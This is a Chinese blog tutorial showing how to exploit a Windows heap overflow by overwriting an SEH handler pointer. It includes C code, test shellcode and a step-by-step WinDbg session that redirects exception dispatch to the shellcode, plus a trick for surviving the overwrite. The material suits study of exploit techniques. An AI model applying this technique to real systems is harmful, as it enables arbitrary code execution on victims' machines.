异常处理的身影处处可见,最常见的处理方式就是当异常发生时,在异常处理模块中记录日志,便于程序员事后定位。但是,被异常处理包含的代码真的会在异常发生时让程序优雅的退出吗?在程序的世界里什么都可能发生,所以,可以说前面那个问题的答案是否定的。这正是本文的主题:利用SEH异常处理。

SEH溢出有多种方式:栈溢出和堆溢出。本文关注堆溢出后如何利用SEH。堆溢出的步骤和前文一样:从FreeList[n]中获取即将被HeapAlloc函数分配出去的空闲块的地址。然后修改该块块首_FREE_HEAP_ENTRY!_LIST_ENTRY结构中的前后指针的值,达到修改内存地址的目的。对于本文,_LIST_ENTRY!Flink将被设置为最近进入异常处理块时插入在异常链表中异常处理块的地址,而_LIST_ENTRY!Blink设置为shellcode的地址;调用HeapAlloc函数后,异常处理块的地址被指向为shellcode,之后在异常处理块中触发异常。使得shellcode得以执行。

以下是实例代码:

#include <windows.h>
#include <stdio.h>
//shellcode用0xcc软件中断做结尾,引起异常这样方便验证shellcode是否成功执行
char shellcode[] = {"\x90\x90\xeb\x04\x90\x90\x90\x90" \"\x90\x90\x90\x90\x90\x90\x90\xcc"};int main()
{HANDLE hp = HeapCreate(0,0x10000,0x100000);LPVOID h1,h2,h3,h4,h5,h6,h7=0;int i=0,j=0;printf("shellcode:%08x\n",shellcode);h1 = HeapAlloc(hp,HEAP_ZERO_MEMORY,8);h2 = HeapAlloc(hp,HEAP_ZERO_MEMORY,8);h3 = HeapAlloc(hp,HEAP_ZERO_MEMORY,8);h4 = HeapAlloc(hp,HEAP_ZERO_MEMORY,8);h5 = HeapAlloc(hp,HEAP_ZERO_MEMORY,8);h6 = HeapAlloc(hp,HEAP_ZERO_MEMORY,8);_asm int 3;__try{//1)处HeapFree(hp,0,h1);HeapFree(hp,0,h3);HeapFree(hp,0,h5);h7 = HeapAlloc(hp,HEAP_ZERO_MEMORY,8);//2)处i/=j;}__except(1){printf("exception handled\n");}return 0;
}

我们的目标是在执行h7 = HeapAlloc(hp,HEAP_ZERO_MEMORY,8);语句时将异常处理块的地址修改为shellcode的地址。之后触发除零异常时跳到shellcode中执行代码,而不是执行printf("exception handled\n");往屏幕输出字符串。双击运行程序,用int 3断点异常唤出windbg调试程序,接着开始开始利用SEH之旅~

进入__try/__except块后查看当前线程的异常处理链表和栈顶位置:

0:000> !exchain ;windbg查看线程异常处理链表的命令
0012ff70: sehDwordShoot+121c (0040121c)
0012ffb0: sehDwordShoot+121c (0040121c)
0012ffe0: kernel32!_except_handler3+0 (77e7bb86)CRT scope  0, filter: kernel32!BaseProcessStart+29 (77e85168)func:   kernel32!BaseProcessStart+3a (77e85179)
Invalid exception stack at ffffffff0:000> r esp
esp=0012ff28

异常处理链中的节点存放在栈中,每个节点的类型为:

0:000> dt _EXCEPTION_REGISTRATION_RECORD
ntdll!_EXCEPTION_REGISTRATION_RECORD+0x000 Next             : Ptr32 _EXCEPTION_REGISTRATION_RECORD+0x004 Handler          : Ptr32     _EXCEPTION_DISPOSITION ;此处存放的是异常处理函数的地址

离栈顶最近的节点一定是最近依次进入__try/__except块的代码。当前程序栈顶esp=0012ff28,离它最近的异常处理节点位于0012ff70--这就是程序运行到1)处时,在栈中建立的异常处理结点。
顺带看下它的异常处理函数的地址:

0:000> dt _EXCEPTION_REGISTRATION_RECORD 0012ff70
ntdll!_EXCEPTION_REGISTRATION_RECORD+0x000 Next             : 0x0012ffb0 _EXCEPTION_REGISTRATION_RECORD+0x004 Handler          : 0x0040121c     _EXCEPTION_DISPOSITION  +0

虚拟地址0x40121C就是异常处理函数的地址,对于c/c++的程序这个函数对应于__except_handler3。这不是我瞎吹,可以结合程序的Map文件分析得到~

1.模块加载在00400000
0:000> lm
start    end        module name
00400000 00408000   sehDwordShoot C (no symbols) 
2.模块的代码段偏移OVA:0x1000,通过模块在内存中的PE信息得到
0:000> !dh 00400000
SECTION HEADER #1 ;只显示和代码段相关的节表.text name3C36 virtual size1000 virtual address ;代码段相对于模块的偏移4000 size of raw data1000 file pointer to raw data0 file pointer to relocation table0 file pointer to line numbers0 number of relocations0 number of line numbers
60000020 flagsCode(no align specified)Execute Read
3.map文件显示距离代码段偏移0x21c处的符号
0001:0000021c       __except_handler3          0040121c f   LIBC:exsup3.obj

把三者结合起来:0x400000(模块基质)+0x1000(代码段在模块中的偏移)+0x021c符号在代码段中的偏移=0x0040121c,这个地址对应的符号:__except_handler3-->这不就是异常链表中的异常处理节点吗?vs生成的程序异常处理函数统一为__except_handler3,异常发生时由系统调用__except_handler3,由它调用我们编码在__except(){}中的异常处理代码,相当于开篇提到过的记录异常日志。

扯开了一点,继续我们的主题。当程序执行完3次HeapFree后空闲链表FreeList[2]中已有3个空闲项:

0:000> dt _HEAP 510000
ntdll!_HEAP
+0x178 FreeLists        : [128] _LIST_ENTRY [ 0x5106e8 - 0x5106e8 ]0:000> dd 510178+4*4 L2 ;_LIST_ENTRY类型的空闲链表数组元素FreeList[2]的元素
00510188  00510688 005106c80:000> dt _LIST_ENTRY 00510188 ;链表头
ntdll!_LIST_ENTRY[ 0x510688 - 0x5106c8 ]+0x000 Flink            : 0x00510688 _LIST_ENTRY [ 0x5106a8 - 0x510188 ]+0x004 Blink            : 0x005106c8 _LIST_ENTRY [ 0x510188 - 0x5106a8 ]
0:000> dt _LIST_ENTRY 00510688
ntdll!_LIST_ENTRY[ 0x5106a8 - 0x510188 ]+0x000 Flink            : 0x005106a8 _LIST_ENTRY [ 0x5106c8 - 0x510688 ]+0x004 Blink            : 0x00510188 _LIST_ENTRY [ 0x510688 - 0x5106c8 ]
0:000> dt _LIST_ENTRY 005106a8
ntdll!_LIST_ENTRY[ 0x5106c8 - 0x510688 ]+0x000 Flink            : 0x005106c8 _LIST_ENTRY [ 0x510188 - 0x5106a8 ]+0x004 Blink            : 0x00510688 _LIST_ENTRY [ 0x5106a8 - 0x510188 ]
0:000> dt _LIST_ENTRY 005106c8 ;最后一次调用HeapFree时插入的空闲堆块
ntdll!_LIST_ENTRY[ 0x510188 - 0x5106a8 ]+0x000 Flink            : 0x00510188 _LIST_ENTRY [ 0x510688 - 0x5106c8 ]+0x004 Blink            : 0x005106a8 _LIST_ENTRY [ 0x5106c8 - 0x510688 ]

从windbg的结果看出,当前空闲链表FreeList[2]的形成过程如图所示:

画个图果然直观形象很多~当执行HeapAlloc时将移除0x5106c8,并修改0x5106a8->Flink的值为FreeList[n],巧了就是0x5106a8正好是0x5106c8->Blink指向,同时FreeList[n]由0x5106c8->Flink指向。这段话改用C语言描述就是0x5106c8->Blink->Flink=0x5106c8->Flink ,0x5106c8->Blink是修改的目标,0x5106c8->Flink是源。因此,我们修改0x5106c8处的_LIST_ENTRY结构内容即可。要修改的是0x12ff74处异常处理函数,将它修改为0x406030处shellcode的地址,带入上面标红处的公式0x5106c8->Blink处填入0x12ff74;而0x5106c8->Flink处填0x406030

0:000> ed 5106cc 12ff74
0:000> ed 5106c8 406030

这里直接修改内存是为了模拟一次堆溢出,尽管我可以直接用memcpy代替。为了让异常分发执行到shellcode时能及时停下,需要给shellcode下访问断点:

0:000> ba e1 406030;g

紧接着,触发除0异常并顺利触发访存断点

SehDwordShoot+0x10b9:
004010b9 f7f9            idiv    eax,ecx
0:000> g
(44c.204): Integer divide-by-zero - code c0000094 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=77f51597 ecx=00000000 edx=00000000 esi=00510000 edi=77f516f8
eip=004010b9 esp=0012ff34 ebp=0012ff80 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=0038  gs=0000             efl=00010246
SehDwordShoot+0x10b9:
004010b9 f7f9            idiv    eax,ecx

同时,我们看看线程异常链表:

0:000> !exchain
0012fb84: ntdll!ExecuteHandler2+3a (77f833b4)
0012ff70: SehDwordShoot+6030 (00406030) ;<-------成功被修改到shellcode的地址
0012ffb0: SehDwordShoot+121c (0040121c)
0012ffe0: kernel32!_except_handler3+0 (77e7bb86)CRT scope  0, filter: kernel32!BaseProcessStart+29 (77e85168)func:   kernel32!BaseProcessStart+3a (77e85179)
Invalid exception stack at ffffffff

本次堆溢出利用SEH异常处理结束~

后记:

大家有没有注意到我shellcode构造时有点特别?

shellcode中的第二个DWORD会在HeapAlloc时被改写(这是执行0x5106c8->Flink->Blink=0x5106c8->Blink的副作用),这个改写常常会引发shellcode执行失败。然而,0Day安全一书没有提到解决的方法。我调试多次后发现,只要让shellcode中第二个DWORD作为buff供HeapAlloc修改,不去执行其中的内容即可。如何不执行其中的代码?当然是在shellcode的第一个DWORD中设置一段jmp语句,将执行流强制跳转到第二个DWORD之后即可~第一个DWORD中的opcode翻译成汇编就是:

nop

nop

jmp 0x04

堆溢出(DwordShoot)利用SEH异常处理相关推荐

  1. 栈溢出利用SEH异常处理

    前面一篇blog <堆溢出(DwordShoot)利用SEH异常处理 > 里提到了基于堆溢出利用SEH的方式,本文将侧重于栈溢出利用SEH异常处理. 先来看下示例代码: #include ...

  2. 总结windows下堆溢出的三种利用方式

    创建时间:2004-04-08 文章属性:转载 文章提交:watercloud (watercloud_at_xfocus.org) 原文由Leven发在网络编程版: https://www.xfoc ...

  3. Netgear R6400v2 堆溢出漏洞分析与利用

    2020 年 6 月,ZDI发布了一个关于Netgear R6700型号设备上堆溢出漏洞的安全公告,随后又发布了一篇关于该漏洞的博客,其中对该漏洞进行了详细分析,并给出了完整的漏洞利用代码.该漏洞存在 ...

  4. 5.4 堆溢出利用(上)——DWORD SHOOT

    目录 一.预备知识 二.实验环境 三.实验代码 四.实验步骤 一.预备知识 堆管理系统的三类操作:堆块分配.堆块释放和堆快合并归根结底都是对链表的修改.堆溢出利用的精髓就是用精心构造的数据溢出下一个堆 ...

  5. 《0day安全》堆溢出利用(下)——代码植入

    狙击 P.E.B 中 RtlEnterCritical-Section()的函数指针 这里,我们不妨以0x7FFDF024处的RtlEnterCriticalSection()指针为目标,联系一下DW ...

  6. Windows下的HEAP溢出及其利用

    Windows下的HEAP溢出及其利用 作者: isno 一.概述 前一段时间ASP的溢出闹的沸沸扬扬,这个漏洞并不是普通的堆栈溢出,而是发生在HEAP中的溢出,这使大家重新认识到了Windows下的 ...

  7. 堆溢出DWORD SHOOT原理

    1.双向链表上有a.b.c一共3个连续的堆块,a.b.c三者之间的实际物理地址可能相差很大,但是绝对不会三者之间无其他字节,如果无其他字节,那表示他们三个可以合并成一个物理连接起来的大块,堆管理系统很 ...

  8. [网络安全自学篇] 五十四.Windows系统安全之基于SEH异常处理机制的栈溢出攻击及防御解析

    这是作者的网络安全自学教程系列,主要是关于安全工具和实践操作的在线笔记,特分享出来与博友们学习,希望您们喜欢,一起进步.前文分享了XP和Kali环境搭建,通过Windows漏洞实现栈溢出攻击,通过Me ...

  9. 堆溢出的DWORD Shoot核心原理-口语化

    1.双向链表上有a.b.c一共3个连续的堆块,a.b.c三者之间的实际物理地址可能相差很大,但是绝对不会三者之间无其他字节,如果无其他字节,那表示他们三个可以合并成一个物理连接起来的大块,堆管理系统很 ...

最新文章

  1. 【 MATLAB 】离散傅里叶级数(DFS)与DFT、DTFT及 z变换之间的关系
  2. soj1201- 约数
  3. 沈向洋,被微软“耽搁”的独角兽催化大师
  4. String与InputStream相互转换
  5. python基础——Linux系统下的文件目录结构
  6. 一个几何级数的无限和思考
  7. BugkuCTF-Reverse题Easy_vb多方法解决
  8. 计算坐标点的距离计算机公式,计算两个GPS坐标点的距离
  9. 【BIOS来电重启】Restore AC Power Loss
  10. python-temp-0626随堂
  11. python进行数据分析 简书_《利用python进行数据分析》读书笔记1
  12. 华为安装gsm框架_华为nova5怎么下载安装谷歌服务助手,安装GMS框架教程
  13. 思科认证和华为认证哪个更香?
  14. ENVI监督分类错误:分离度为0.00000解决办法
  15. 屏幕录像软件Community Clips Recorder简介及其使用技巧(郝宪玮)
  16. linux探索之旅pdf,【Linux探索之旅】第四部分第一課:壓縮文件,解壓無壓力
  17. 安装火绒的情况下怎么关闭防火墙
  18. 从虎胆龙威4(live free or die hard)说黑客攻击
  19. 我的面试经历--缘起
  20. 求a100的值,an是一个集合{2^s+2^t且t>s>=0}程序验证

热门文章

  1. C++:函数指针进阶(三):Lambda函数详解
  2. Mac下安装vim的插件YouCompleteMe及注意事项
  3. 生鲜新零售异军突起,科技才是核心驱动
  4. Unity_Shader中级篇_10_Unity Shader入门精要
  5. linux下用C语言实现MP3播放器
  6. RPC框架的意义和用法,什么是RPC
  7. 用最好的“积木”,在元宇宙中掀起一场头脑风暴吧!丨RTE 2022 编程挑战赛圆满收官...
  8. python的pyaudio教程入门_Python豪杰物语:pyaudio的安装播放音频示例
  9. java split 冒号_Java中字符串split() 的使用方法,没你想的那么简单
  10. 计算机数据结构英语作文,计算机-数据结构基本英语(4)